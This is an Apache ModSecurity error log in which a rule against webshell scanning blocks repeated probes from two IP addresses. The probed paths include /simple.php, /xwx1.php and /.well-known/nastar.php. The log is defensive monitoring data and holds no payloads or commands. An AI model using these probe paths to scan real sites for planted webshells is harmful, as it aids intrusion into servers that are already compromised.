[Sat Apr 25 18:20:10.464676 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:7093] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeyVWjVPLvrpvXaNQOkFwQAAABU"]
[Sat Apr 25 18:20:10.997086 2026] [:error] [pid 16106:tid 16115] [client 4.232.187.202:6518] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyVWiGjdEsrWF7e-7MWDgAAAEU"]
[Sat Apr 25 18:20:11.021925 2026] [:error] [pid 16106:tid 16129] [client 20.215.66.169:3912] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVWyGjdEsrWF7e-7MWDwAAAFM"]
[Sat Apr 25 18:20:11.529275 2026] [:error] [pid 16108:tid 16164] [client 4.232.187.202:7078] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyVW4bPF4HSQDj6WrlYUwAAAMA"]
[Sat Apr 25 18:20:11.556251 2026] [:error] [pid 16108:tid 16165] [client 20.215.66.169:13484] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVW4bPF4HSQDj6WrlYVAAAAME"]
[Sat Apr 25 18:20:12.067479 2026] [:error] [pid 16195:tid 16203] [client 20.215.66.169:13667] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVXDVPLvrpvXaNQOkFxwAAAAU"]
[Sat Apr 25 18:20:12.068352 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:7147] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyVXDVPLvrpvXaNQOkFyAAAAAc"]
[Sat Apr 25 18:20:12.581682 2026] [:error] [pid 16106:tid 16131] [client 20.215.66.169:3946] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyVXCGjdEsrWF7e-7MWFgAAAFU"]
[Sat Apr 25 18:20:12.670895 2026] [:error] [pid 16106:tid 16126] [client 4.232.187.202:7132] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeyVXCGjdEsrWF7e-7MWGAAAAFA"]
[Sat Apr 25 18:20:13.094245 2026] [:error] [pid 16106:tid 16128] [client 20.215.66.169:3908] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyVXSGjdEsrWF7e-7MWGwAAAFI"]
[Sat Apr 25 18:20:13.158806 2026] [:error] [pid 16106:tid 16113] [client 4.232.187.202:7142] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyVXSGjdEsrWF7e-7MWHQAAAEM"]
[Sat Apr 25 18:20:13.630345 2026] [:error] [pid 16107:tid 16159] [client 20.215.66.169:3892] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyVXdIfF7Hy3tw0sYRfQwAAAJY"]
[Sat Apr 25 18:20:13.680952 2026] [:error] [pid 16107:tid 16152] [client 4.232.187.202:6526] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyVXdIfF7Hy3tw0sYRfRAAAAI8"]
[Sat Apr 25 18:20:14.217170 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:4082] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aeyVXtIfF7Hy3tw0sYRfRwAAAI0"]
[Sat Apr 25 18:20:14.232997 2026] [:error] [pid 16108:tid 16183] [client 4.232.187.202:7012] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyVXobPF4HSQDj6WrlYWAAAANE"]
[Sat Apr 25 18:20:14.737002 2026] [:error] [pid 16106:tid 16132] [client 4.232.187.202:7097] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeyVXiGjdEsrWF7e-7MWIgAAAFY"]
[Sat Apr 25 18:20:14.780898 2026] [:error] [pid 16108:tid 16178] [client 20.215.66.169:13498] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyVXobPF4HSQDj6WrlYWwAAAMw"]
[Sat Apr 25 18:20:15.235555 2026] [:error] [pid 16195:tid 16210] [client 4.232.187.202:7079] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyVXzVPLvrpvXaNQOkFzQAAAAw"]
[Sat Apr 25 18:20:15.344356 2026] [:error] [pid 16107:tid 16161] [client 20.215.66.169:3996] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyVX9IfF7Hy3tw0sYRfSAAAAJg"]
[Sat Apr 25 18:20:15.717936 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:7125] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyVXzVPLvrpvXaNQOkFzgAAABg"]
[Sat Apr 25 18:20:15.885731 2026] [:error] [pid 16195:tid 16198] [client 20.215.66.169:13620] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyVXzVPLvrpvXaNQOkF0gAAAAA"]
[Sat Apr 25 18:20:16.187511 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6922] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyVYDVPLvrpvXaNQOkF1AAAAAk"]
[Sat Apr 25 18:20:16.400422 2026] [:error] [pid 16106:tid 16119] [client 20.215.66.169:3970] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ew.php"] [unique_id "aeyVYCGjdEsrWF7e-7MWJAAAAEk"]
[Sat Apr 25 18:20:16.749160 2026] [:error] [pid 16108:tid 16174] [client 4.232.187.202:6485] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeyVYIbPF4HSQDj6WrlYXgAAAMg"]
[Sat Apr 25 18:20:16.937115 2026] [:error] [pid 16107:tid 16153] [client 20.215.66.169:13671] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyVYNIfF7Hy3tw0sYRfTAAAAJA"]
[Sat Apr 25 18:20:17.253656 2026] [:error] [pid 16107:tid 16151] [client 4.232.187.202:7073] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyVYdIfF7Hy3tw0sYRfTQAAAI4"]
[Sat Apr 25 18:20:17.504844 2026] [:error] [pid 16106:tid 16114] [client 20.215.66.169:13477] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyVYSGjdEsrWF7e-7MWJgAAAEQ"]
[Sat Apr 25 18:20:17.751196 2026] [:error] [pid 16106:tid 16121] [client 4.232.187.202:7034] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyVYSGjdEsrWF7e-7MWJwAAAEs"]
[Sat Apr 25 18:20:18.042316 2026] [:error] [pid 16108:tid 16166] [client 20.215.66.169:13677] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyVYobPF4HSQDj6WrlYYAAAAMI"]
[Sat Apr 25 18:20:18.251432 2026] [:error] [pid 16106:tid 16122] [client 4.232.187.202:7080] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyVYiGjdEsrWF7e-7MWKQAAAEw"]
[Sat Apr 25 18:20:18.552445 2026] [:error] [pid 16108:tid 16187] [client 20.215.66.169:13659] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file21.php"] [unique_id "aeyVYobPF4HSQDj6WrlYYgAAANU"]
[Sat Apr 25 18:20:18.748743 2026] [:error] [pid 16106:tid 16133] [client 4.232.187.202:7138] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeyVYiGjdEsrWF7e-7MWKgAAAFc"]
[Sat Apr 25 18:20:19.138435 2026] [:error] [pid 16108:tid 16186] [client 20.215.66.169:13642] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyVY4bPF4HSQDj6WrlYZAAAANQ"]
[Sat Apr 25 18:20:19.248004 2026] [:error] [pid 16195:tid 16208] [client 4.232.187.202:7105] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyVYzVPLvrpvXaNQOkF3gAAAAo"]
[Sat Apr 25 18:20:19.678884 2026] [:error] [pid 16107:tid 16138] [client 20.215.66.169:13653] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyVY9IfF7Hy3tw0sYRfVAAAAIE"]
[Sat Apr 25 18:20:19.763574 2026] [:error] [pid 16195:tid 16213] [client 4.232.187.202:6976] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyVYzVPLvrpvXaNQOkF4QAAAA8"]
[Sat Apr 25 18:20:20.194741 2026] [:error] [pid 16195:tid 16214] [client 20.215.66.169:13648] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyVZDVPLvrpvXaNQOkF4wAAABA"]
[Sat Apr 25 18:20:20.258079 2026] [:error] [pid 16108:tid 16167] [client 4.232.187.202:7143] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyVZIbPF4HSQDj6WrlYZgAAAMM"]
[Sat Apr 25 18:20:20.709528 2026] [:error] [pid 16106:tid 16125] [client 20.215.66.169:13632] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hypo.php"] [unique_id "aeyVZCGjdEsrWF7e-7MWKwAAAE8"]
[Sat Apr 25 18:20:20.758857 2026] [:error] [pid 16108:tid 16173] [client 4.232.187.202:7029] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeyVZIbPF4HSQDj6WrlYaQAAAMc"]
[Sat Apr 25 18:20:21.225062 2026] [:error] [pid 16107:tid 16137] [client 20.215.66.169:13612] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyVZdIfF7Hy3tw0sYRfVwAAAIA"]
[Sat Apr 25 18:20:21.283012 2026] [:error] [pid 16107:tid 16153] [client 4.232.187.202:7156] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyVZdIfF7Hy3tw0sYRfWAAAAJA"]
[Sat Apr 25 18:20:21.737436 2026] [:error] [pid 16107:tid 16151] [client 20.215.66.169:13636] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyVZdIfF7Hy3tw0sYRfXAAAAI4"]
[Sat Apr 25 18:20:21.779081 2026] [:error] [pid 16195:tid 16209] [client 4.232.187.202:7137] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyVZTVPLvrpvXaNQOkF6AAAAAs"]
[Sat Apr 25 18:20:22.247847 2026] [:error] [pid 16108:tid 16176] [client 20.215.66.169:13674] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyVZobPF4HSQDj6WrlYagAAAMo"]
[Sat Apr 25 18:20:22.285708 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:7152] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyVZobPF4HSQDj6WrlYawAAAMk"]
[Sat Apr 25 18:20:22.758843 2026] [:error] [pid 16107:tid 16148] [client 20.215.66.169:4094] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file18.php"] [unique_id "aeyVZtIfF7Hy3tw0sYRfYAAAAIs"]
[Sat Apr 25 18:20:22.821727 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7061] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "aeyVZtIfF7Hy3tw0sYRfYQAAAII"]
[Sat Apr 25 18:20:23.295089 2026] [:error] [pid 16107:tid 16144] [client 20.215.66.169:13684] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyVZ9IfF7Hy3tw0sYRfYwAAAIc"]
[Sat Apr 25 18:20:23.348094 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:7161] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyVZzVPLvrpvXaNQOkF7QAAAAg"]
[Sat Apr 25 18:20:23.836665 2026] [:error] [pid 16107:tid 16150] [client 20.215.66.169:13625] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyVZ9IfF7Hy3tw0sYRfZgAAAI0"]
[Sat Apr 25 18:20:23.895634 2026] [:error] [pid 16108:tid 16174] [client 4.232.187.202:6520] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyVZ4bPF4HSQDj6WrlYbQAAAMg"]
[Sat Apr 25 18:20:24.355517 2026] [:error] [pid 16107:tid 16158] [client 20.215.66.169:13593] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyVaNIfF7Hy3tw0sYRfaQAAAJU"]
[Sat Apr 25 18:20:24.418523 2026] [:error] [pid 16106:tid 16121] [client 4.232.187.202:6987] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyVaCGjdEsrWF7e-7MWMQAAAEs"]
[Sat Apr 25 18:20:24.867753 2026] [:error] [pid 16107:tid 16146] [client 20.215.66.169:13645] [client 20.215.66.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeyVaNIfF7Hy3tw0sYRfagAAAIk"]
[Sat Apr 25 18:20:24.921082 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7053] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "aeyVaIbPF4HSQDj6WrlYbwAAANA"]
